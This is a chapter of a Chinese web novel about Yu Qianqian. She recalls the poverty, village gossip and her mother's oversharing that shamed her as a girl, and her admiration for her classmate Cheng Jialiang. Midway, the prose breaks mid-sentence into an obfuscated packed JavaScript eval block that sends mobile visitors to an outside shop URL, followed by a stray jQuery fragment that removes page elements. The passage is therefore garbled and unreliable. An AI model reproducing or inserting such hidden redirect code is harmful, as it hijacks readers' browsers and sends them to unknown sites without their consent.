庾倩倩知道张阿姨应该希望她过去的。
张阿姨以前就对她很好——两家离得近，刘芳偶尔有事，没人做饭的时候，张阿姨会邀请庾倩倩去她家里吃。
可她因为害怕见到程嘉良时内心的窘迫，所以不肯去。
那边迟迟没有回复。
庾倩倩等了一会儿，手指在咖啡冰杯上轻轻地敲了两下。
过了整整三分钟，程嘉良才回复。
很简单的一个字：好。
庾倩倩盯着这个字几秒，她双手捧着手机，快速打下一行字：帮我恭喜张阿姨五十大寿。
程嘉良回复：谢谢。
对话到这已经算是结束。
庾倩倩看了会儿，放下手机，又喝了一口咖啡。
她走到沙发上坐着，手机叮咚一声，来了微信。
庾倩倩拿起来。
这次不是程嘉良。
而是刘芳。
一条将近四十多秒的语音。
庾倩倩点开，刘芳的声音从听筒里传出来，背景里还夹杂着麻将碰撞的声响。
“我今天在村里碰到了村长呀，他也在那个小区买房，有两套呢。他说他儿子那个房子也不想要呢，正待算卖了。也没住几年，还是全新的，听到我们想买，他说可以便宜点卖给我们。你觉得怎么样啊？要不要找机会去看一看呀？”
庾倩倩听完，吐出一口气，直接把手机扔在沙发上。
可想而知，才隔了几天，刘芳肯定又把她要买房这件事传得到处都是，别人才会主动找她。
她说了多少次，不要到处说，不要逢人就讲。
可刘芳就是管不住那张嘴。
她的女儿要买房了，在市中心，全款——这话说出去多有面子啊，她怎么忍得住不炫耀？
庾倩倩直接横躺在沙发上，手背搭在额头上，遮住眼睛。
巨大落地窗外的天色渐渐暗下来，城市的灯火一盏一盏亮起来。
庾倩倩不喜欢拉窗帘。喜欢天光透进屋子，从亮到暗，一点一点地沉下去。
这可能是她在乡下养成的习惯——在村里的时候，她的房间窗户朝西，傍晚阳光从窗棂里照进来，把整个房间染成橙色。她坐在那道光里写作业，等天黑。
也许对很多人来说，村里的老家意味着田野、乡间、温暖的人情、平和的安静。
是夏日傍晚坐在院子里摇着蒲扇乘凉，是邻里之间端一碗菜串门的亲切。
但对于庾倩倩来说，不是这样的。
它充满着一个青春期少女难以言说的贫穷、羞辱和难堪。
村里太小了，一点风吹草动就引人注意。
谁家买了新房新车，谁家的孩子考了第一名，谁家的男人在外面有了女人——不出半天，整个村都知道了。
庾倩倩记得很清楚。有一次她在村口跟一个男生并排走过，两人只是碰巧同路，连话都没说几句。
第二天，刘芳就一边切菜一边打探：“村里人都说你跟一个男生走在一起，你是不是谈朋友了？”
庾倩倩极其厌烦！
只要她跟任何一个同龄男生稍微走近一点，都会有人说她谈恋爱了。说得有鼻子有眼，栩栩如生。
好像她们眼里男女除了谈恋爱就没有别的。
他们家本来就是别人的八卦中心。
她名义上的父亲庾长根是个混球。
跟刘芳结婚没几年，就跟别的女人姘居了。这个女人还是本村的，就住在村子另一头。
这件事，包括后来刘芳的事，都让庾倩倩产生了一个终生的困惑，直到现在都没有彻底明白——
她曾以为找小三起码是有钱人的专属，或者男的长得好看些才能找小三，为什么这些又穷又丑的男人，也能找到？
庾长根基本只在那个女人家里生活，甚至跟那个女人生了个儿子，很少回来。
每次到了要交学费的时候，刘芳就会去那个女人家门口闹。骂街，大哭，扯着嗓子喊庾长根的名字，跟他大打出手。
庾长根有时候出来推她一把，有时候躲在屋里不开门，有时候从窗户扔出几张皱巴巴的钞票。
全村能围大半圈在那里看热闹。
闹完了，钱未必能要到，但笑话是一定会有的。
庾倩倩走在村里，总感觉身后有窃窃私语，周围打量的目光若有似无，总是带着种隐隐的笑——并非决然的嘲笑，但也并非是彻底的善意。
她从小长得漂亮，又不是那种文文静静、容易害羞、一看就是好学生的性格。
村里的大人很喜欢拿她打趣：“倩倩长大了不得了，肯定迷死一大片”“可不要轻易被男孩骗去啊”。
他们村里方言是这样打趣男生找女朋友的——“赶紧骗一个女孩回来”。
虽然未必是真正意义上的“骗”，但这个词字里行间透出来的那种意味，让庾倩倩从小就反感。
庾倩倩曾以为庾长根不给钱给她，是因为她是女孩，他重男轻女。
可再到后来，她才慢慢明白村里面为何用那种目光打量她。
除了她家本来就抓马、三天两头闹，除了庾倩倩本人招眼——还有一个原因。
她不是庾长根的亲生女儿。
这件事全村人几乎都私下知道了，只有她自己不知道。
除了村里的闲言碎语，刘芳本身也是一个很大的问题。
世事很吊诡。
同样都是出轨，刘芳还是在庾长庚后面。
庾长庚在村里的地位没什么变化，甚至还因为有“两个老婆”被很多男人打趣夸赞，说他有本事。
而刘芳却败了名声，村里无论男人女人都没有那么看得上她。
可村里抬头不见低头见，刘芳本来就没那么硬气，没钱的时候就更硬气不起来，偶尔还要借钱，总得陪着笑脸。
她有一点讨好型的人格。每次村里办席，村里的女人都要去帮忙，也顺便赚点钱；
跟那些女人聚在一起的时候，她会故意说笑，声音很大，生怕别人注意不到她。
还会以侮辱打趣她自己的方式，让大家哄堂大笑，来让别人对她产生亲近感。
可她的生活实在乏善可陈——无非就是跟庾长根打打闹闹、要钱不给、去那个女人家门口哭。这些事说一次两次还行，说多了，别人也腻了。
最后她只能说庾倩倩。
说庾倩倩读书好，说庾倩倩学校好，说有男生给庾倩倩写情书。
庾倩倩初二那年。
她第一次来月经。
那天中午，她跟刘芳说了这事，刘芳从柜子里翻出几片卫生巾塞给她，语带欣慰说：“女儿长大了。”
傍晚回来的时候，村口站着一群人。有男有女，有老有少，像是刚散了牌局，站在那儿聊天。
庾倩倩背着书包走过去，一个中年女人笑眯眯地看着她。
“哎呀，倩倩成大姑娘了。”
身边几个叔叔伯伯阿姨也跟着笑。
“哎呦，可以嫁人了。”
“真是大女孩了。”
有几个村里的年轻男人站在后面，目光从她脸上滑到她身上，用一种她说不清的眼神看着她。
霎时间，庾倩倩像是内心有一罐被微波炉加热过头的罐头，“砰”地一下炸开了。
那种羞耻感从她的胸口直冲上脑门，整张脸烧得通红，耳朵嗡嗡作响。
她不敢看任何人，低着头，快步走了过去，书包在背上颠来颠去，她感觉自己在逃跑。
回到家里，刘芳正在厨房里忙活，兴高采烈地说：“今天专程给你烧只鸡吃！”
庾倩倩站在厨房门口，看着刘芳的背影。
她的手掐着书包带，都要把自己的手指掐出血痕。
她很想问——为什么？为什么要把她的私事到处说？
为什么要连这种事都要告诉别人，传得整个村都知道？
甚至明天有可能传到她的学校去，连班上的男生女生都会知道她来月经了。
刘芳转过身来，笑盈盈地看着她。
“红烧的，还是炖汤的？”
庾倩倩看了她很久很久。
她没有说话。
“随便。”她低声回答一句。
最后她一个人跑到了楼上自己的房间里，很久都没有下来。
从那以后，她再也没有跟刘芳说过任何关于自己隐私的事。
不聊学校，不聊朋友，不聊喜欢谁，不聊讨厌谁。
刘芳问，她就说“没什么”“就那样”“还好”。
以至于后来，她跟谢孟渊在一起这么多年，她连谢孟渊的名字都没有告诉过刘芳一次。
刘芳的衣品也不好。
她喜欢穿大红大紫，给庾倩倩买衣服，也喜欢买粉色、橙色、印着卡通图案的少女款。
好在庾倩倩长得好看，穿什么都不会太难看。
也是初二那年。
大早上狂风暴雨，庾倩倩要赶公交去上学。
前一天洗的外套还没干，衣柜里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590952|205423||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
翻来翻去，没有一件能穿出门的。
刘芳从柜子深处翻出一件自己年轻时穿的粉色旧西装，塞给她。
“穿这个，这个厚。”
那件西装是大粉色的，垫肩宽得像将军，袖口和领口还镶着一圈暗金色的花边。
刘芳穿都不伦不类，更何况一个十几岁的女生。
可那天太冷了，庾倩倩没有别的选择，又快迟到了，她套上那件西装，赶紧冲出家门。
她坐了很久的公交到学校，走进教室的那一刻，突然有人怪叫：“庾倩倩，你穿成什么呀！”
庾倩倩想，她可能一辈子都不会忘记班上同学全部齐刷刷看向她的画面。
全班都笑了。
不是恶意的，她知道。
是那种毫不掩饰的、惊讶的、觉得好笑的笑。
庾倩倩在目光中走到自己位置，一坐下，旁边的女同学就凑过来，眼睛里全是好奇：“庾倩倩，你怎么穿一个这么大的衣服来啊？是你妈妈的吗？”
庾倩倩点点头，没说话。她把那件西装脱下来，折好，塞进书桌里。
她不应该听刘芳的话。就算穿着短袖冒雨冲来学校，全身湿透了，也比现在好。
剧烈的羞耻感像刀背刮鱼鳞一样，一层一层地刮着她，一层又一层。
庾倩倩有时候也会自傲。
她漂亮，被男生众星捧月，被女生羡慕或嫉妒。她在人群里是显眼的，是会被第一眼看见的。
她希望自己更好、更完美，希望自己配得上那些目光。
可她无法克制住自己贫穷的底色。
那种像爬山虎一样，剪了一截又有一截，无止境的、随时发生的窘迫和羞耻。
就在这时，程嘉良从教室门外走了进来。
他的伞被风刮坏了，伞骨歪了两根，伞面翻过来，像个被打折了翅膀的黑鸟。
他站在门口，没有急着进来，而是低着头，仔细地掰那几根歪掉的伞骨。
班上同学又开始笑起来。
“哎，程嘉良，你的伞都坏了！”
“你怎么举了一把破伞来？”
程嘉良笑了笑，像是才反应过来这是把破伞似的：“是啊。”
他顿了顿，又说：“但是修一修应该还能用。”
庾倩倩抬头看他。
少年逆着光，站在门口，也是蓝白校服短袖，身上洒着斑驳的雨水点。
他长得极清秀，眉尾微微往下压，带着一种少年人身上少有的沉静。
睫毛很长，垂眼的时候会在眼下投一小片扇形的阴影，像薄薄的雾。
慢条斯理、毫无窘迫。
他只是站在门口，低着头，把那把黑伞的伞骨一根一根掰回来。
掰平整了，合拢，沥掉伞面上的水滴，他把伞靠在外面的墙角。
然后他转过身，背着书包走进来，从庾倩倩身边经过。
坐在庾倩倩身后右侧的位置。
旁边一个女生转过头说：“我多带了一把伞，待会借给你。”
“不用了。借给有需要的同学吧。那把伞还能用，我回家修修就好了。”程嘉良很脾气地说着，乃至传来他翻动书页的声音。
庾倩倩坐在前面，手指捏着课本的边角，捏得发白。
为什么？为什么？
有人能面对贫穷和羞耻如此的平静、如此的从容？
他家比她还要穷。
他的伞破了缝缝补补接着用，他的书包线开了自己缝，他的衣服洗得发白起球了还在穿。
可他从不在意，坦然处之。
他认认真真地读书，踏踏实实地帮他妈妈干活，照顾妹妹。
帮老师搬东西，帮同学讲题，有时候也帮人整理错题集——他收钱，大大方方地收。
他从没有掩藏过自己的贫穷。
贫穷就是他的一部分，他接受它，就像接受他的左手、他的眼睛、他的姓氏一样自然。
为什么会有这样的人呢？
为什么有人的心胸能这么开阔？
为什么面对别人的哄笑他能淡然处之？
为什么在这样艰苦的条件下，她还时常看见他在院子里深夜坐在台灯下温书？成绩名列前茅。
为什么，她就做不到呢。
为什么她的内心藏着高傲的自尊心、难以言喻的羞耻感、总是在意周遭视线的敏感，对周围环境的格格不入？
为什么这么多年，她只遇到过一个像他这样的——
程嘉良。